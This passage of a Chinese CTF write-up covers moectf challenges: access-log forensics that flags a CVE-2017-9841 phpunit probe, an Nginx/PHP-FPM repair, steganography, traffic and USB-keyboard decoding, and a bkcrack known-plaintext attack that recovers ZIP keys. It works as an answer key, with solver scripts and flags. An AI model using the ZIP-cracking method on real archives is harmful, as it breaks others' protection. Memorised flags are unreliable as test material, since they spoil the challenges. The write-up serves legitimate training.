) else : user_agent = "" real_ip = "" return { "user" : user, "time" : time, "host" : host, "request" : request, "status" : status, "user_agent" : user_agent, "real_ip" : real_ip, "line" : line.rstrip("\n" ), } def hhmmss (time_text: str ) -> str : match = re.search(r":(\d{2}):(\d{2}):(\d{2})\s+\+0800$" , time_text) if not match : raise ValueError(f"bad time format: {time_text} " ) return "" .join(match .groups()) def main () -> int : log_path = Path(sys.argv[1 ]) if len (sys.argv) > 1 else Path("accesslog_4.log" ) if not log_path.exists(): print (f"[-] Log file not found: {log_path} " , file=sys.stderr) print ("Usage: python solve_accesslog_4.py [accesslog_4.log]" , file=sys.stderr) return 1 rows = [] with log_path.open ("r" , encoding="utf-8" , errors="replace" ) as f: for line in f: row = parse_line(line) if row: rows.append(row) enum_users = { row["user" ] for row in rows if TARGET_ROUTE in row["request" ] and row["user" ] not in {"" , "-" } } target_rows = [row for row in rows if row["real_ip" ] == TARGET_IP] if not target_rows: print (f"[-] No records found for {TARGET_IP} " , file=sys.stderr) return 1 ua_counter = Counter(row["user_agent" ] for row in target_rows) scan_ua, _ = ua_counter.most_common(1 )[0 ] scan_count = len (target_rows) start = hhmmss(target_rows[0 ]["time" ]) end = hhmmss(target_rows[-1 ]["time" ]) around_payloads = [ row["request" ] for row in target_rows if row["time" ].startswith("08/Jul/2026:00:08:" ) ] if any ("phpunit" in req and "eval-stdin.php" in req for req in around_payloads): cve = "CVE-2017-9841" else : cve = "UNKNOWN" flag = f"moectf{{{len (enum_users)} -{scan_ua} -{scan_count} -{cve} -{start} -{end} }}" print ("[+] Unique non-empty usernames:" , len (enum_users)) for name in sorted (enum_users): print (" " , name) print () print (f"[+] {TARGET_IP} request count:" , scan_count) print ("[+] User-Agent counts:" ) for ua, count in ua_counter.most_common(): print (f" {count:>5 } {ua} " ) print (f"[+] Scan time range: {target_rows[0 ]['time' ]} -> {target_rows[-1 ]['time' ]} " ) print (f"[+] CVE around 08/Jul/2026:00:08:07 +0800: {cve} " ) print () print ("[+] Flag:" ) print (flag) return 0 if __name__ == "__main__" : raise SystemExit(main())
1 moectf{11 -curl/8.7 .1 -2214 -CVE-2017 -9841 -235216 -000808}
运维入门指北_revenge 直接访问博客的端口发现是502
ssh连接,登录维护账号
1 ssh -p 49675 moeops@127.0 .0 .1
查看 Nginx 状态和错误日志
反复出现
1 connect() to unix:/run/php/php-fpm.sock failed (2 : No such file or directory)
Nginx 配置指向了一个不存在的 PHP-FPM socket
查看运行中的 PHP 进程和 socket
看到 PHP-FPM 实际使用的是
1 /run/php/php8.4 -fpm.sock
先备份配置,再替换 socket 路径
1 2 3 4 5 6 sudo cp /etc/nginx/sites-available/blog \ /etc/nginx/sites-available/blog.bak sudo sed -i \ 's#/run/php/php-fpm.sock#/run/php/php8.4-fpm.sock#' \ /etc/nginx/sites-available/blog
检查配置并重载 Nginx
1 2 sudo nginx -t sudo systemctl reload nginx
再次访问博客发现正常显示,但怎么是个安装教程,想继续发现没有权限
Nginx/PHP-FPM 使用 www-data 用户运行,因此无法访问这个目录
修复目录属主和权限
1 2 3 4 5 6 7 sudo chown -R www-data:www-data /var/www/html/usrsudo find /var/www/html/usr -type d -exec chmod 755 {} \;sudo find /var/www/html/usr -type f -exec chmod 644 {} \;sudo mkdir -p /var/www/html/usr/uploadssudo chmod 775 /var/www/html/usr/uploads
再重新回去博客发现可以正常使用,按照题目给的数据库信息填入,提交之后进入博客页面看见flag
1 moectf{whEn_IN-DoU6T_checK-THE_l0g5_firsT74770}
代号:碎片风暴 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 from itertools import permutationsfrom threading import Condition, Lock, Threadfrom flask import Flask, requestapp = Flask(__name__) fragments = set () state_lock = Lock() changed = Condition(state_lock) last_candidate = None def max_overlap (left: str , right: str ) -> int : limit = min (len (left), len (right)) for overlap in range (limit, 0 , -1 ): if left.endswith(right[:overlap]): return overlap return 0 def greedy_merge (items: list [str ] ) -> str : pool = list (items) while len (pool) > 1 : best_overlap = -1 best_left = 0 best_right = 1 for left_index, left in enumerate (pool): for right_index, right in enumerate (pool): if left_index == right_index: continue overlap = max_overlap(left, right) if overlap > best_overlap: best_overlap = overlap best_left = left_index best_right = right_index merged = pool[best_left] + pool[best_right][best_overlap:] pool = [ merged, *( value for index, value in enumerate (pool) if index not in (best_left, best_right) ), ] return pool[0 ] def solve_scs (values: list [str ] ) -> tuple [str , bool ]: unique = list (dict .fromkeys(values)) useful = [ value for value in unique if not any (value in other for other in unique if value != other) ] if not useful: return "" , False if len (useful) == 1 : return useful[0 ], True if len (useful) <= 8 : best = None for ordering in permutations(useful): current = ordering[0 ] for next_value in ordering[1 :]: overlap = max_overlap(current, next_value) current += next_value[overlap:] if best is None or len (current) < len (best): best = current greedy = greedy_merge(useful) return best, greedy == best result = greedy_merge(useful) return result, all (value in result for value in useful) def looks_like_flag (candidate: str ) -> bool : return candidate.startswith("moectf{" ) and "}" in candidate def assembler () -> None : global last_candidate while True : with changed: changed.wait_for(fragments.__len__) snapshot = list (fragments) candidate, reliable = solve_scs(snapshot) if candidate == last_candidate: continue last_candidate = candidate if looks_like_flag(candidate): print ( f"[+] fragments={len (snapshot)} reliable={reliable} " f"candidate={candidate} " , flush=True , ) if candidate.endswith("}" ): print (candidate, flush=True ) @app.post("/" ) def receive_fragment (): body = request.get_data(as_text=True ) if not body: return "empty" , 400 with changed: before = len (fragments) fragments.add(body) if len (fragments) != before: changed.notify() return "ok" , 200 if __name__ == "__main__" : Thread(target=assembler, daemon=True ).start() app.run( host="0.0.0.0" , port=3000 , threaded=True , use_reloader=False , )
在本地 PowerShell 中执行:
1 scp -P 15974 .\wp.py moectf@127.0 .0 .1 :/home/moectf/wp.py
然后 SSH 登录靶机:
1 ssh -p 15974 moectf@127.0 .0 .1
在靶机中启动服务:
1 python3 /home/moectf/wp.py
1 moectf{by_u5Ing_L4NgU@GeS-wE-cAN_6ullD-VaRIoUS-PlAtf0Rms-and -applications0}
取证与安全杂项 Misc入门指北 老把戏了,把内容设置成白色的了
看了一下,是一段ASCII二进制码
1 python -c "s='01101101 01101111 01100101 01100011 01110100 01100110 01111011 01010111 00110011 00110001 01100011 00110000 01101101 01100101 01011111 00110111 01101111 01011111 01101101 00110001 00110101 01100011 01111101'; print(''.join(chr(int(b,2)) for b in s.split()))"
Tomato 被出题人阴了,看似是番茄解混淆,其实是混淆方向继续混淆,盲猜出题人是点了两次解混淆然后导出的图片
1 moectf{Tom@t0_i5_D3lic1ou5!}
ez_BASE 反转后的 Base64
1 moectf{Y0u_h@v3_kn0wn_b@sE64}
ez_LSB 一把梭工具里面看见LSB有东西
逐种通道顺序/位流组合尝试后,能直接看到一段 flag: 开头的 base64,解出来就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from PIL import Imageimport base64img = Image.open ("cat.png" ).convert("RGB" ) bits = [] for r, g, b in img.getdata(): bits.extend([(r & 1 ), (g & 1 ), (b & 1 )]) data = bytearray () for i in range (0 , len (bits) - 7 , 8 ): cur = 0 for bit in bits[i:i+8 ]: cur = (cur << 1 ) | bit data.append(cur) print (data[:200 ])
星走路的旅程-level1 全在图片的详细信息那,跟去年的?CTF如出一辙
空白文档 变个颜色后要我们异或
1 2 3 4 5 AgkDChcDFBEOWhEAMFcVNg4cMABXXQQY ↓ Base64 解码 二进制数据 ↓ 与 "office" 循环 XOR flag
1 moectf{wh3re_1s_my_f14g}
Can_you_find_it? manifest.json 指向配置 blob blobs/sha256/577fd454ca29c1556dbef6c86dc27a93b33f1b6bbdc89f0278b855d2bdf23a15。查看其中的 history 字段,可以看到关键命令:
1 2 3 4 5 RUN mkdir -p /var/cache/.system COPY flag.png /var/cache/.system/cache_meta.log RUN chmod 444 /var/cache/.system/cache_meta.log RUN echo "xing的hint:或许你可以查一下系统缓存?" > /home/hint1.txt RUN echo "xing的hint:注意隐藏" > /var/cache/hint2.txt
两条提示指向系统缓存和隐藏目录。更直接的证据是 COPY:原文件叫 flag.png,在镜像中却被命名为 .log,存放在隐藏目录 /var/cache/.system/。
逐层列出 tar 内容,即可找到包含目标文件的第 9 个文件系统层(从 0 开始编号为 layer 8):
1 2 blobs/sha256/b021f16e614673fbd3af42ef46531ed2c4b3b400bba6291345e3c0101d56dd6d └── var/cache/.system/cache_meta.log
提取和检查文件
1 2 3 4 mkdir -p evidence tar -xf blobs/sha256/b021f16e614673fbd3af42ef46531ed2c4b3b400bba6291345e3c0101d56dd6d \ -C evidence var/cache/.system/cache_meta.log file evidence/var/cache/.system/cache_meta.log
文件实际是 400×400 PNG 。图案是 33×33 模块的二维码,但顶部左右两个定位符被擦掉,无法直接扫描
按现有模块位置采样后,将左上和右上两个定位符及其白色分隔带补回
1 moectf{1 n_7h3_1m4g3_cach3}
Pixel_Art 按天逐行绘制后,点阵直接组成英文字符。下面的脚本包含题目中的全部数据,会生成 pixel_art.xlsx:横向每列对应一个数字,纵向每行对应一天,黑色单元格表示该天收到了这个数字。打开 Excel 即可看到点阵文字。运行前需安装依赖:pip install openpyxl。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from openpyxl import Workbookfrom openpyxl.styles import Alignment, Font, PatternFillfrom openpyxl.utils import get_column_letterdata = [ "25 31 32 36 37 40 43 44 45 46 47 55 56 57 58 59 61 69 98 106 120 129 138 139 140 143 144", "25 30 35 43 59 61 68 69 97 98 106 120 128 129 137 141 145", "0 1 3 7 8 9 13 14 15 19 20 21 24 25 26 29 30 31 35 39 40 43 44 45 46 58 61 62 63 64 69 74 75 76 77 86 87 88 89 91 93 94 98 103 104 105 106 115 116 117 120 121 122 123 127 129 132 134 135 141 145", "0 2 4 6 10 12 16 18 25 30 35 40 47 57 61 65 69 73 85 89 91 92 98 102 106 114 120 124 126 129 132 133 140 145", "0 2 4 6 10 12 13 14 15 16 18 25 30 34 35 40 47 57 61 65 69 74 75 76 85 89 91 98 102 106 114 120 124 126 127 128 129 130 132 139 145 146", "0 2 4 6 10 12 18 25 30 35 40 43 47 56 61 65 69 77 86 87 88 89 91 98 102 106 114 120 124 129 132 145", "0 2 4 7 8 9 13 14 15 19 20 21 26 27 30 35 39 40 41 44 45 46 56 61 65 68 69 70 73 74 75 76 89 91 97 98 99 103 104 105 106 115 116 117 120 124 129 132 139 145", "35 85 89 145", "36 37 49 50 51 52 53 79 80 81 82 83 86 87 88 108 109 110 111 112 143 144", ] rows = [set (map(int , day.split())) for day in data]width = max (max (row ) for row in rows ) + 1 workbook = Workbook() sheet = workbook.active sheet.title = "像素画" sheet.freeze_panes = "B2" sheet.column_dimensions["A"].width = 9 sheet.cell(1 , 1 , "天数 / x") black = PatternFill(fill_type= "solid", fgColor= "000000") for x in range (width): column = x + 2 # A 列放天数,B 列对应 x= 0 sheet.column_dimensions[get_column_letter(column )].width = 3 cell = sheet.cell(1 , column , x) cell.font = Font(size= 6 ) cell.alignment = Alignment(horizontal= "center") for y, row in enumerate(rows , start = 2 ): sheet.row_dimensions[y].height = 16 sheet.cell(y, 1 , f"第{y - 1}天") for x in row : sheet.cell(y, x + 2 ).fill = black # 每个非空列编码为一个 9 位掩码;全空列用于分隔字符。 columns = [sum ((x in row ) << y for y, row in enumerate(rows )) for x in range (width)] glyphs = [] current = []for column in columns + [0 ]: if column : current.append(column ) elif current : glyphs.append(tuple(current )) current = [] # 将图中出现的字形按其列掩码记录为字符。 font = { (124 , 4 , 120 , 4 , 120 ): "w", (56 , 68 , 68 , 68 , 56 ): "o", (56 , 84 , 84 , 84 , 24 ): "e", (56 , 68 , 68 , 68 ): "c", (4 , 63 , 68 , 64 ): "t", (4 , 126 , 5 , 1 ): "f", (16 , 254 , 257 , 257 ): "{", (68 , 125 , 64 ): "1", (39 , 69 , 69 , 69 , 57 ): "5", (256 , 256 , 256 , 256 , 256 ): "_", (1 , 97 , 25 , 5 , 3 ): "7", (127 , 4 , 4 , 4 , 120 ): "h", (66 , 127 , 64 ): "1", (72 , 84 , 84 , 84 , 36 ): "s", (152 , 292 , 292 , 292 , 252 ): "g", (124 , 8 , 4 , 4 ): "r", (56 , 68 , 68 , 68 , 127 ): "d", (24 , 20 , 18 , 127 , 16 ): "4", (2 , 1 , 81 , 9 , 6 ): "?", (257 , 257 , 254 , 16 ): "}", } flag = "".join (font[glyph] for glyph in glyphs) sheet.cell(12 , 1 , "Flag") sheet.cell(12 , 2 , flag) sheet.merge_cells(start_row= 12 , start_column= 2 , end_row= 12 , end_column= 18 ) workbook.save("pixel_art.xlsx") print("已生成 pixel_art.xlsx") print("flag:", flag)
1 moectf{i5_7h1s_gr1d_ch4r ?}
Polyglot
Ruby:开头的 shebang 和 puts
Whitespace:大量只有空格、Tab、换行的内容
Awk:BEGIN { printf ... }
Shell:echo -e
Perl:pack("C*", ...)
Scheme:display
Python:exec(chr(...) + ...)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 import refrom pathlib import PathSOURCE = Path(__file__).parent / "polyglot" / "polyglot" / "polyglot.txt" def chars_from_decimal (values: str ) -> str : return "" .join(chr (int (value)) for value in re.findall(r"\d+" , values)) def decode_whitespace (source: str ) -> str : code = "" .join({" " : "S" , "\t" : "T" , "\n" : "N" }[char] for char in source if char in " \t\n" ) stack = [] output = [] cursor = 0 def read_number () -> int : nonlocal cursor sign = 1 if code[cursor] == "S" else -1 cursor += 1 end = code.index("N" , cursor) bits = code[cursor:end].replace("S" , "0" ).replace("T" , "1" ) cursor = end + 1 return sign * int (bits or "0" , 2 ) while cursor < len (code): if code.startswith("SS" , cursor): cursor += 2 stack.append(read_number()) elif code.startswith("TNSS" , cursor): output.append(chr (stack.pop())) cursor += 4 elif code.startswith("NNN" , cursor): break else : raise ValueError(f"unsupported Whitespace instruction at {cursor} " ) return "" .join(output) def maximum_overlap (left: str , right: str ) -> int : for size in range (min (len (left), len (right)), 0 , -1 ): if left[-size:] == right[:size]: return size raise ValueError(f"no overlap between {left!r} and {right!r} " ) def extract_parts (source: str ) -> list [str ]: ruby = re.search(r'puts"([^"]+)"' , source).group(1 ) part4 = "" .join(chr (int (value, 8 )) for value in re.findall(r"\\([0-7]{3})" , ruby)) awk_values = re.search( r'BEGIN\s*\{\s*printf\s*"[^"]+",\s*([^}]+)\}' , source ).group(1 ) part3 = chars_from_decimal(awk_values) shell = re.search(r'echo -e "([^"]+)"' , source).group(1 ) part2 = "" .join(chr (int (value, 8 )) for value in re.findall(r"\\0([0-7]{3})" , shell)) perl_values = re.search(r'pack\("C\*",\s*([^)]+)\)' , source).group(1 ) part5 = chars_from_decimal(perl_values) scheme = re.search(r'\(display\s+"([^"]+)"\)' , source).group(1 ) part6 = "" .join(chr (int (value, 16 )) for value in re.findall(r"\\x([0-9a-fA-F]+);" , scheme)) python_expr = re.search(r"exec\((.+)\)" , source).group(1 ) python_code = chars_from_decimal(python_expr) part1 = re.search(r"print\('([^']+)'\)" , python_code).group(1 ) + "\n" part7 = decode_whitespace(source) outputs = [part1, part2, part3, part4, part5, part6, part7] return [output.rstrip("\n" ).split(": " , 1 )[1 ] for output in outputs] def rebuild (parts: list [str ] ) -> tuple [list [str ], str ]: chunks = [] for index, part in enumerate (parts): following = parts[(index + 1 ) % len (parts)] overlap = maximum_overlap(part, following) chunks.append(part[:-overlap]) message = "" .join( chunk[column] for column in range (max (map (len , chunks))) for chunk in chunks if column < len (chunk) ) return chunks, message def main () -> None : source = SOURCE.read_text(encoding="ascii" ) parts = extract_parts(source) chunks, message = rebuild(parts) for index, part in enumerate (parts, 1 ): print (f"part{index} : {part} " ) print () print ("chunks:" ) for chunk in chunks: print (chunk) print () print (message) if __name__ == "__main__" : main()
1 moectf{p0lygl0t_1s_fun!_7_l4ngu4g3s_1n_0n3_f1l3}
ez_BASE_revenge base100 base64 base58 base32
1 moectf{Em0j1_15_50_cu73_2333333}
一线生机 附件是一个zip,打开后看见两个文件,一个是flag.txt,另外一个是README.md,但是两个都是加密的。
第一反应是伪加密,可能是因为刚出完伪加密的题目吧(思考) 但是虽然随波逐流识别的是伪加密并且也帮我们“修复了”,但是文件是打不开的。我尝试用winrar打开也是打不开(因为之前有过伪加密修复后的文件要用winrar才能打开),后面又尝试手动修改,但是也没有改成功
后面问了一下ds老师才想起来明文攻击
题目提示说:
这里最明显的地方就是题干本身。
README.md 的明文长度是 54 字节,而题干中的这句话一共有 18 个字符。中文字符和中文标点在 UTF-8 编码下都占 3 字节,因此:18 * 3 = 54
这说明 README.md 的明文很可能就是题干中的这句话。创建明文文件
1 2 3 4 5 6 [IO.File]::WriteAllBytes( '.\README-known.md' , [Text.UTF8Encoding]::new($false).GetBytes( '有时候,一线生机往往藏在最明显的地方' ) )
使用 README.md 作为密文,使用刚才创建的文件作为已知明文
1 2 3 4 5 6 .\bkcrack.exe ` -C .\flag.zip ` -c README.md ` -p .\README-known.md ` -o 0 ` -j 4
恢复内部密钥
1 39cd809b 10a0fcb2 669a68f7
使用恢复出的内部密钥直接解密 flag.txt拿到flag
1 moectf{1t_i5_So0o0o0o_Obv1ou5}
你会git吗? 查看仓库状态
flag.txt 在暂存区和当前工作区中的内容并不相同
查看当前提交中的文件,纯属干扰信息
除了当前的三条提交外,还存在曾经提交过、后来被 reset 移除的历史
用 git fsck 找到这些不可达对象
继续查看 Git 的暂存区
base64解码一下就是flag
1 2 3 <br class ="Apple-interchange-newline" ><div></div> moectf{g17_15_so_3aSy}
半部电台 sstv解码就出来了
1 moectf{557v-1s-th3-m41n-w4y-r4dio-am47eurs-tr4nsm1t-1m4g35}
星走路的旅程-level2 附件像没有上次那样送分,正常给了一张爷爷不泡茶的店面照片,然后要我们找到所在哪条街
直接找爷爷不泡茶肯定不现实,找旁边的那个熊喵来了火锅也不现实,连锁店范围太大了
看见那有个喜上·枣子糕,去高德上面搜,发现全国就一家(至少高德是这么写的),而且在万达,刚好符合万达的分布,打开地图看也符合,顶楼,爷爷不泡茶跟熊喵来了隔壁
按照高德上面的地址编辑好,去md5验证一下发现对的上
1 moectf{JIANGSU_LIANYUNGANG_LINGZHOUDONGLU}
西复问答 参考文章https://www\.cnblogs\.com/izcat/p/14871530\.html
总和为 1+2+3+4=10
题图中的远景可见复旦大学光华楼,但拍摄点并不在复旦。继续对照周围建筑和同济大学的校园建筑资料,将候选范围缩小到同济大学衷和楼 。依据画面中近景建筑的屋顶、地面与视平线,拍摄高度约在十几层;逐层向靶机核验后,命中 同济大学衷和楼-13
时间为 2023 年 9 月 11 日
1 moectf{FuUuUu-XlIl11-QuIzzzZzZ2f37a81d }
霜雪千年 解压几层后会发现,文件编号不断递减,同时压缩格式会在以下三种格式之间切换
脚本自动解压
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 $work = Join-Path $PWD "unpack" New-Item -ItemType Directory -Path $work -Force | Out-Null Expand-Archive -LiteralPath ".\flag.zip" -DestinationPath $work -Force for ($n = 1000; $n -ge 1; $n --) { $pattern = "^$n \.(7z|zip|tar\.gz)$" $archive = Get-ChildItem -LiteralPath $work -File | Where-Object { $_ .Name -match $pattern } | Select-Object -First 1 if (-not $archive ) { throw "找不到第 $n 层压缩包" } tar -xf $archive .FullName -C $work if (($n % 100 ) -eq 0 ) { Write-Host "已解到第 $n 层:$($archive .Name)" } } Get-ChildItem -LiteralPath $work -File | Where-Object { $_ .Name -notmatch "^\d+\.(7 z|zip|tar\.gz)$" }
解压后打开flag.txt,看到一堆空白字符
查了一下是snow隐写
把消融你眉间悲戚霜雪作为密码解密得到flag
1 stegsnow.exe -p '消融你眉间悲戚霜雪' flag.txt
1 moectf{Sn0w_@lwa7s_h0lds_5tor7_w1thin}
Wedge in the Wire 打开流量包,发现传输了一个诡异名字的zip
导出http的全部文件,发现有一张图片还有一张对照表
对照得到flag
1 moectf{MYSTIC_SCRIPT_IN_RAPUTA}
ez_keyboard
在顶部过滤框输入:
1 usb.device_address == 2 && usb.endpoint_address == 0 x81 && frame.len == 35
逐包读取最后 8 字节。第 3 字节为 00 的报告跳过;04~1d 对应 a~z。
遇到特殊键要实际修改文本:2a 退格、39 Caps Lock、50 左移光标、4f 右移光标。只把字符顺次拼起来会得到错误结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 $pcap = Join-Path $PSScriptRoot 'keyboard.pcap' $bytes = [IO.File ]::ReadAllBytes($pcap )if ([BitConverter ]::ToString($bytes , 0 , 4 ) -ne 'D4-C3-B2-A1' ) { throw 'Expected a little-endian PCAP file.' } $plain = @ { 0 x2c = ' ' ; 0 x2d = '-' ; 0 x2e = '=' ; 0 x2f = '[' ; 0 x30 = ']' 0 x31 = '\' ; 0 x33 = ';' ; 0 x34 = "'" ; 0 x35 = '`' ; 0 x36 = ',' 0 x37 = '.' ; 0 x38 = '/' } $shifted = @ { '1' = '!' ; '2' = '@' ; '3' = '#' ; '4' = '$' ; '5' = '%' '6' = '^' ; '7' = '&' ; '8' = '*' ; '9' = '(' ; '0' = ')' '-' = '_' ; '=' = '+' ; '[' = '{' ; ']' = '}' ; '\' = '|' ';' = ':' ; "'" = '"' ; '`' = '~' ; ',' = '<' ; '.' = '>' ; '/' = '?' } $buffer = [Collections.Generic.List [char ]]::new()$cursor = 0 $caps = $false $offset = 24 while ($offset + 16 -le $bytes .Length) { $length = [BitConverter ]::ToInt32($bytes , $offset + 8 ) $packet = $offset + 16 if ($length -lt 27 -or $packet + $length -gt $bytes .Length) { throw "Invalid packet at offset $offset " } $headerLength = [BitConverter ]::ToUInt16($bytes , $packet ) $device = [BitConverter ]::ToUInt16($bytes , $packet + 19 ) $endpoint = $bytes [$packet + 21 ] if ($device -eq 2 -and $endpoint -eq 0 x81 -and $length - $headerLength -eq 8 ) { $report = $packet + $headerLength $modifier = $bytes [$report ] $key = $bytes [$report + 2 ] if ($key -eq 0 -or ($modifier -band 0 x11)) { } elseif ($key -eq 0 x39) { $caps = -not $caps } elseif ($key -eq 0 x2a) { if ($cursor -gt 0 ) { $cursor -- $buffer .RemoveAt($cursor ) } } elseif ($key -eq 0 x50) { $cursor = [Math ]::Max(0 , $cursor - 1 ) } elseif ($key -eq 0 x4f) { $cursor = [Math ]::Min($buffer .Count, $cursor + 1 ) } else { $char = $null $shift = [bool ]($modifier -band 0 x22) if ($key -ge 0 x04 -and $key -le 0 x1d) { $char = [string ][char ](97 + $key - 0 x04) if ($shift -xor $caps ) { $char = $char .ToUpperInvariant() } } elseif ($key -ge 0 x1e -and $key -le 0 x27) { $char = [string ]'1234567890'[$key - 0 x1e ] if ($shift ) { $char = $shifted [$char ] } } elseif ($key -eq 0 x28) { $char = "`n" } elseif ($plain .ContainsKey([int ]$key )) { $char = $plain [[int ]$key ] if ($shift ) { $char = $shifted [$char ] } } if ($null -ne $char ) { $buffer .Insert($cursor , [char ]$char ) $cursor ++ } } } $offset = $packet + $length } $recovered = -join $buffer .ToArray()$flag = [regex ]::Match($recovered , 'moectf\{[^}\r\n]+\}' )if (-not $flag .Success) { throw 'Flag not found in recovered text.' }$flag .Value
1 moectf{w0w_y0u_c4n_r@4 d_k3yb0ARD_7r @ffic}
一部电台 音频是 44.1 kHz、16 位、单声道 WAV,长度约 36 分 11 秒。观察波形的有声和静音区间,可以发现有声段只有 0.2 秒 和 0.6 秒 两种长度,分别对应摩尔斯电码的点和划。静音段有 0.1 秒 、1.0 秒 、1.5 秒 三种长度,分别分隔点划、数字、四位数字组。
开头五个 0.6 秒长音是 -----,即数字 0。继续解码,得到:
1 0361 2973 6134 0207 0735 6168 0361 2973 ...
这些四位数是中文电报码 。每两组编码对应一个双字词
十二个词恰好是社会主义核心价值观,说明最后一层是核心价值观编码 。按上表把词组换成数值,再还原十六进制数字:0~9 直接使用;诚信 后接数值 x 表示 10+x;友善 后接数值 x 表示 6+x。例如开头的 公正 诚信 和谐 公正 友善 敬业 变成 6 d 6 f,即 ASCII 文本 mo。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 const fs = require ('fs' );const path = process.argv [2 ] || 'chall.wav/chall.wav' ;const fd = fs.openSync (path, 'r' );const header = Buffer .alloc (44 );fs.readSync (fd, header, 0 , 44 , 0 ); if (header.toString ('ascii' , 0 , 4 ) !== 'RIFF' || header.toString ('ascii' , 8 , 12 ) !== 'WAVE' ) throw new Error ('Expected WAV' );const rate = header.readUInt32LE (24 );const step = rate / 10 ;if (!Number .isInteger (step) || header.readUInt16LE (22 ) !== 1 || header.readUInt16LE (34 ) !== 16 ) throw new Error ('Expected mono 16-bit WAV with a sample rate divisible by 10' );const block = Buffer .alloc (step * 2 );const active = [];for (let offset = 44 ; offset < fs.fstatSync (fd).size ; offset += block.length ) { const read = fs.readSync (fd, block, 0 , block.length , offset); let nonzero = false ; for (let i = 0 ; i < read; i += 2 ) if (block.readInt16LE (i) !== 0 ) { nonzero = true ; break ; } active.push (nonzero); } fs.closeSync (fd); const runs = [];for (let start = 0 , i = 1 ; i <= active.length ; i++) { if (i === active.length || active[i] !== active[start]) { runs.push ([active[start], i - start]); start = i; } } const morse = {'-----' :'0' ,'.----' :'1' ,'..---' :'2' ,'...--' :'3' ,'....-' :'4' ,'.....' :'5' ,'-....' :'6' ,'--...' :'7' ,'---..' :'8' ,'----.' :'9' };const groups = [];let marks = '' , digits = '' ;for (const [on, duration] of runs) { if (on) marks += duration < 4 ? '.' : '-' ; else if (duration >= 10 ) { if (!(marks in morse)) throw new Error (`Unknown Morse ${marks} ` ); digits += morse[marks]; marks = '' ; if (duration >= 15 ) { groups.push (digits); digits = '' ; } } } if (marks) digits += morse[marks];if (digits) groups.push (digits);const codes = { '1381 1730' : 0 , '3046 0031' : 1 , '2429 2494' : 2 , '0735 6168' : 3 , '5261 3945' : 4 , '1627 4583' : 5 , '0361 2973' : 6 , '3127 3112' : 7 , '1947 0948' : 8 , '2417 2814' : 9 , '6134 0207' : 10 , '0645 0810' : 11 , }; if (groups.length % 2 ) throw new Error ('Odd number of telegraph codes' );const values = [];for (let i = 0 ; i < groups.length ; i += 2 ) { const key = `${groups[i]} ${groups[i + 1 ]} ` ; if (!(key in codes)) throw new Error (`Unknown telegraph code pair ${key} ` ); values.push (codes[key]); } const nibbles = [];for (let i = 0 ; i < values.length ; i++) { let value = values[i]; if (value >= 10 ) { const next = values[++i]; if (next === undefined ) throw new Error ('Incomplete extended digit' ); value = value === 10 ? 10 + next : 6 + next; } if (value > 15 ) throw new Error (`Invalid hexadecimal digit ${value} ` ); nibbles.push (value); } if (nibbles.length % 2 ) throw new Error ('Odd number of hexadecimal digits' );const bytes = Buffer .alloc (nibbles.length / 2 );for (let i = 0 ; i < bytes.length ; i++) bytes[i] = nibbles[i * 2 ] * 16 + nibbles[i * 2 + 1 ];console .log (bytes.toString ('utf8' ));
1 moectf{@_Gr4nd_ag3_0f_t3legr4ph7}
命运从未公平 http://127.0.0.1:16988/ 每次刷新返回一段 base64:
1 2 您的抽奖结果是:nouKrp2JEPRD4bVoVOskbGx8dY1odGEQZh== FLAG中奖概率 0 % 我其实没有放FLAG,你猜猜FLAG在哪里呢
解码后固定 25 字节 。约 10% 的请求不返回随机串,而是返回明文提示(base64 解码后)
1 2 hint:first_char_frewuency ← 靶机 5000 端口上的实例 hint:first_char_frequency ← 本地 16988 实例(拼写正确)
提示很明确:看”第一个字符”的频次 。(题目里加粗的”头彩 “也是同一个双关。)
第 0 字节的 60 种取值不是散乱的,而是 15 组、每组 4 个连号 ,例如0x2c~0x2f、0xa0~0xa3、0xd0~0xd3、0x08~0x0b …
原因:响应的第一个 base64 字符被替换成了”抽到的字符”,而 base64 一个字符只占 第 0 字节的高 6 bit,低 2 bit 仍由原始随机字节提供 —— 所以每组 4 连号,base = 4 * (base64 下标)。
换句话说:响应里第一个 base64 字符,就是抽中的那个字符。
